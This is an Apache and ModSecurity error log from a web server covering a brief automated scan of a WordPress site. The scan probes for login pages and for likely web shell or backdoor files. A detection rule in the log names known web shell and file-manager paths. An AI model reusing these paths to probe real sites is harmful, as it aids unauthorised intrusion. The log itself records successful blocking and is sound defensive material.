[Sun Mar 15 04:35:23.820428 2026] [:error] [pid 38645:tid 38664] [client 98.159.43.160:53297] File does not exist: /usr/local/apache/htdocs/suspended-page/robots.php
[Sun Mar 15 04:35:23.919026 2026] [:error] [pid 38645:tid 38667] [client 98.159.43.160:53297] [client 98.159.43.160] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.43.160, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "abXGixFPHtsDUuVrWDZJKQAAANQ"]
[Sun Mar 15 04:35:24.020064 2026] [:error] [pid 38645:tid 38653] [client 98.159.43.160:53297] File does not exist: /usr/local/apache/htdocs/suspended-page/style.php
[Sun Mar 15 04:35:24.133061 2026] [:error] [pid 38645:tid 38658] [client 98.159.43.160:53297] [client 98.159.43.160] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.43.160, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "abXGjBFPHtsDUuVrWDZJLwAAAMs"]
[Sun Mar 15 04:35:24.242890 2026] [:error] [pid 38645:tid 38656] [client 98.159.43.160:53297] [client 98.159.43.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "abXGjBFPHtsDUuVrWDZJMQAAAMk"]
[Sun Mar 15 04:35:24.484019 2026] [:error] [pid 9995:tid 10022] [client 98.159.43.157:64519] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/file.php
[Sun Mar 15 04:35:24.617127 2026] [:error] [pid 9995:tid 10021] [client 98.159.43.157:64519] [client 98.159.43.157] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.43.157, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "abXGjAa8xkcaSmgTbwi3lgAAARc"]
[Sun Mar 15 04:35:24.625443 2026] [:error] [pid 9995:tid 10021] [client 98.159.43.157:64519] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/wp-login.php
[Sun Mar 15 04:35:25.006740 2026] [:error] [pid 9995:tid 10005] [client 98.159.43.157:64519] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/atomlib.php
[Sun Mar 15 04:35:25.117994 2026] [:error] [pid 9995:tid 10000] [client 98.159.43.157:64519] [client 98.159.43.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "abXGjQa8xkcaSmgTbwi3owAAAQI"]
[Sun Mar 15 04:35:25.397939 2026] [:error] [pid 38645:tid 38656] [client 98.159.43.108:63655] [client 98.159.43.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID/wp-conflg.php"] [unique_id "abXGjRFPHtsDUuVrWDZJPgAAAMk"]
[Sun Mar 15 04:35:25.720385 2026] [:error] [pid 9995:tid 9999] [client 98.159.43.105:34081] [client 98.159.43.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID/wp-work.php"] [unique_id "abXGjQa8xkcaSmgTbwi3sgAAAQE"]
[Sun Mar 15 04:35:26.077984 2026] [:error] [pid 38645:tid 38670] [client 98.159.43.148:49411] [client 98.159.43.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.43.148, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "abXGjhFPHtsDUuVrWDZJTgAAANc"]
[Sun Mar 15 04:35:26.395553 2026] [:error] [pid 38645:tid 38664] [client 98.159.43.148:49411] [client 98.159.43.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.43.148, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "abXGjhFPHtsDUuVrWDZJVwAAANE"]
[Sun Mar 15 04:35:26.512926 2026] [:error] [pid 38645:tid 38651] [client 98.159.43.148:49411] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/iRSzrsOUEP.php
[Sun Mar 15 04:35:26.755126 2026] [:error] [pid 38645:tid 38671] [client 98.159.43.148:49411] [client 98.159.43.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "abXGjhFPHtsDUuVrWDZJYgAAANg"]
[Sun Mar 15 04:35:26.950749 2026] [:error] [pid 9995:tid 9999] [client 98.159.43.142:39665] [client 98.159.43.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/about.php"] [unique_id "abXGjga8xkcaSmgTbwi3zQAAAQE"]
[Sun Mar 15 04:35:27.873396 2026] [:error] [pid 38536:tid 38560] [client 98.159.43.131:30017] File does not exist: /usr/local/apache/htdocs/suspended-page/init.php
[Sun Mar 15 04:35:28.085011 2026] [:error] [pid 38536:tid 38572] [client 98.159.43.131:30017] [client 98.159.43.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "abXGkPpTEqkVJ0rBEWtpuAAAABM"]
[Sun Mar 15 04:35:29.360826 2026] [:error] [pid 38540:tid 38599] [client 98.159.43.137:29455] [client 98.159.43.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "abXGkV8bnHsJ1dE90bLYPgAAAE0"]
[Sun Mar 15 04:35:29.646647 2026] [:error] [pid 38540:tid 38591] [client 98.159.43.158:34533] [client 98.159.43.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/xl.php"] [unique_id "abXGkV8bnHsJ1dE90bLYRgAAAEU"]
[Sun Mar 15 04:35:30.214739 2026] [:error] [pid 9995:tid 10006] [client 98.159.43.123:40165] [client 98.159.43.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "abXGkga8xkcaSmgTbwi4DAAAAQg"]
[Sun Mar 15 04:35:30.573775 2026] [:error] [pid 38645:tid 38665] [client 98.159.43.136:29431] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-setup.php
[Sun Mar 15 04:35:30.754226 2026] [:error] [pid 38645:tid 38670] [client 98.159.43.136:29431] [client 98.159.43.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "abXGkhFPHtsDUuVrWDZJqAAAANc"]
[Sun Mar 15 04:35:30.930564 2026] [:error] [pid 38536:tid 38560] [client 98.159.43.106:50675] [client 98.159.43.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/filemanager.php"] [unique_id "abXGkvpTEqkVJ0rBEWtpxwAAAAc"]
[Sun Mar 15 04:35:31.473964 2026] [:error] [pid 38536:tid 38574] [client 98.159.43.129:42051] [client 98.159.43.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "abXGk_pTEqkVJ0rBEWtpzQAAABU"]
[Sun Mar 15 04:35:31.720882 2026] [:error] [pid 38645:tid 38652] [client 98.159.43.110:31699] [client 98.159.43.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "abXGkxFPHtsDUuVrWDZJtQAAAMU"]
[Sun Mar 15 04:35:32.115928 2026] [:error] [pid 38541:tid 38623] [client 98.159.43.119:50071] [client 98.159.43.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/feed-rsss.php"] [unique_id "abXGlHuOpex8jIO0jt6_OQAAAIo"]
[Sun Mar 15 04:35:33.519297 2026] [:error] [pid 9995:tid 10010] [client 98.159.43.154:64287] [client 98.159.43.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "abXGlQa8xkcaSmgTbwi4HQAAAQw"]
[Sun Mar 15 04:35:33.979281 2026] [:error] [pid 38536:tid 38563] [client 98.159.43.117:32015] [client 98.159.43.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "abXGlfpTEqkVJ0rBEWtp3AAAAAo"]
[Sun Mar 15 04:35:34.503448 2026] [:error] [pid 9995:tid 10001] [client 98.159.43.134:41675] [client 98.159.43.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.43.134, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "abXGlga8xkcaSmgTbwi4LAAAAQM"]
[Sun Mar 15 04:35:34.857642 2026] [:error] [pid 9995:tid 10019] [client 98.159.43.134:41675] File does not exist: /usr/local/apache/htdocs/suspended-page/config.php
[Sun Mar 15 04:35:35.158161 2026] [:error] [pid 9995:tid 10003] [client 98.159.43.134:41675] [client 98.159.43.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "abXGlwa8xkcaSmgTbwi4OQAAAQU"]
[Sun Mar 15 04:35:35.477374 2026] [:error] [pid 9995:tid 10014] [client 98.159.43.155:58311] File does not exist: /usr/local/apache/htdocs/suspended-page/plugin.php
[Sun Mar 15 04:35:35.611016 2026] [:error] [pid 9995:tid 10017] [client 98.159.43.155:58311] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-user.php
[Sun Mar 15 04:35:35.705951 2026] [:error] [pid 9995:tid 10022] [client 98.159.43.155:58311] File does not exist: /usr/local/apache/htdocs/suspended-page/special.php
[Sun Mar 15 04:35:35.834657 2026] [:error] [pid 9995:tid 10016] [client 98.159.43.155:58311] [client 98.159.43.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-nav-widgets.php"] [unique_id "abXGlwa8xkcaSmgTbwi4QwAAARI"]
[Sun Mar 15 04:35:36.214574 2026] [:error] [pid 38541:tid 38625] [client 98.159.43.108:27031] [client 98.159.43.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/infi.php"] [unique_id "abXGmHuOpex8jIO0jt6_bAAAAIw"]
[Sun Mar 15 04:35:36.443260 2026] [:error] [pid 9995:tid 10020] [client 98.159.43.150:42565] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-class.php
[Sun Mar 15 04:35:36.544126 2026] [:error] [pid 9995:tid 10007] [client 98.159.43.150:42565] File does not exist: /usr/local/apache/htdocs/suspended-page/files.php
[Sun Mar 15 04:35:36.653926 2026] [:error] [pid 9995:tid 10001] [client 98.159.43.150:42565] File does not exist: /usr/local/apache/htdocs/suspended-page/natural.php
[Sun Mar 15 04:35:38.866484 2026] [:error] [pid 9995:tid 10011] [client 98.159.43.150:42565] [client 98.159.43.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "abXGmga8xkcaSmgTbwi4dQAAAQ0"]
[Sun Mar 15 04:35:39.060336 2026] [:error] [pid 9995:tid 10005] [client 98.159.43.142:20833] File does not exist: /usr/local/apache/htdocs/suspended-page/bypass.php
[Sun Mar 15 04:35:39.274507 2026] [:error] [pid 9995:tid 10022] [client 98.159.43.142:20833] File does not exist: /usr/local/apache/htdocs/suspended-page/webadmin.php
[Sun Mar 15 04:35:39.366800 2026] [:error] [pid 9995:tid 10004] [client 98.159.43.142:20833] File does not exist: /usr/local/apache/htdocs/suspended-page/inc.php
[Sun Mar 15 04:35:39.615559 2026] [:error] [pid 9995:tid 10022] [client 98.159.43.142:20833] [client 98.159.43.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "abXGmwa8xkcaSmgTbwi4iQAAARg"]
[Sun Mar 15 04:35:39.902178 2026] [:error] [pid 38645:tid 38662] [client 98.159.43.140:30415] [client 98.159.43.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "abXGmxFPHtsDUuVrWDZKBAAAAM8"]
[Sun Mar 15 04:35:40.137125 2026] [:error] [pid 38645:tid 38664] [client 98.159.43.110:24491] File does not exist: /usr/local/apache/htdocs/suspended-page/function.php
[Sun Mar 15 04:35:40.386994 2026] [:error] [pid 38645:tid 38648] [client 98.159.43.110:24491] [client 98.159.43.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "abXGnBFPHtsDUuVrWDZKDAAAAME"]
[Sun Mar 15 04:35:40.797569 2026] [:error] [pid 38541:tid 38630] [client 98.159.43.111:30055] File does not exist: /usr/local/apache/htdocs/suspended-page/functions.php
[Sun Mar 15 04:35:41.250902 2026] [:error] [pid 38541:tid 38626] [client 98.159.43.111:30055] [client 98.159.43.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/options.php"] [unique_id "abXGnXuOpex8jIO0jt6_twAAAI0"]
[Sun Mar 15 04:35:41.485467 2026] [:error] [pid 38645:tid 38659] [client 98.159.43.144:24335] [client 98.159.43.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "abXGnRFPHtsDUuVrWDZKGQAAAMw"]
[Sun Mar 15 04:35:42.518502 2026] [:error] [pid 38645:tid 38648] [client 98.159.43.119:59935] [client 98.159.43.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "abXGnhFPHtsDUuVrWDZKKwAAAME"]
[Sun Mar 15 04:35:42.718724 2026] [:error] [pid 38645:tid 38665] [client 98.159.43.142:49975] [client 98.159.43.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "abXGnhFPHtsDUuVrWDZKLAAAANI"]
[Sun Mar 15 04:35:42.908817 2026] [:error] [pid 38541:tid 38617] [client 98.159.43.121:25621] [client 98.159.43.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "abXGnnuOpex8jIO0jt6_vAAAAIQ"]
[Sun Mar 15 04:35:43.295654 2026] [:error] [pid 9995:tid 10012] [client 98.159.43.154:26481] [client 98.159.43.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "abXGnwa8xkcaSmgTbwi4wAAAAQ4"]
[Sun Mar 15 04:35:43.496972 2026] [:error] [pid 38536:tid 38561] [client 98.159.43.116:40111] File does not exist: /usr/local/apache/htdocs/suspended-page/shell.php
[Sun Mar 15 04:35:43.685703 2026] [:error] [pid 38536:tid 38572] [client 98.159.43.116:40111] [client 98.159.43.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "abXGn_pTEqkVJ0rBEWtqAAAAABM"]
[Sun Mar 15 04:35:43.947853 2026] [:error] [pid 38645:tid 38657] [client 98.159.43.108:59743] [client 98.159.43.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID/about.php"] [unique_id "abXGnxFPHtsDUuVrWDZKOgAAAMo"]
[Sun Mar 15 04:35:45.457600 2026] [:error] [pid 38645:tid 38655] [client 98.159.43.131:49517] [client 98.159.43.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "abXGoRFPHtsDUuVrWDZKVwAAAMg"]
[Sun Mar 15 04:35:45.701009 2026] [:error] [pid 38541:tid 38622] [client 98.159.43.153:37405] [client 98.159.43.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/fix.php"] [unique_id "abXGoXuOpex8jIO0jt6_zgAAAIk"]
[Sun Mar 15 04:35:47.055290 2026] [:error] [pid 38645:tid 38671] [client 98.159.43.108:57057] File does not exist: /usr/local/apache/htdocs/suspended-page/go.php
[Sun Mar 15 04:35:47.378920 2026] [:error] [pid 38645:tid 38664] [client 98.159.43.108:57057] [client 98.159.43.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "abXGoxFPHtsDUuVrWDZKfAAAANE"]
[Sun Mar 15 04:35:47.596445 2026] [:error] [pid 38541:tid 38617] [client 98.159.43.108:62831] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/install.php
[Sun Mar 15 04:35:48.110561 2026] [:error] [pid 38541:tid 38629] [client 98.159.43.108:62831] [client 98.159.43.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "abXGpHuOpex8jIO0jt6_2wAAAJA"]
[Sun Mar 15 04:35:48.351807 2026] [:error] [pid 9995:tid 10020] [client 98.159.43.142:45691] [client 98.159.43.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "abXGpAa8xkcaSmgTbwi47gAAARY"]
[Sun Mar 15 04:35:48.569223 2026] [:error] [pid 38541:tid 38613] [client 98.159.43.113:55815] [client 98.159.43.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "abXGpHuOpex8jIO0jt6_3QAAAIA"]
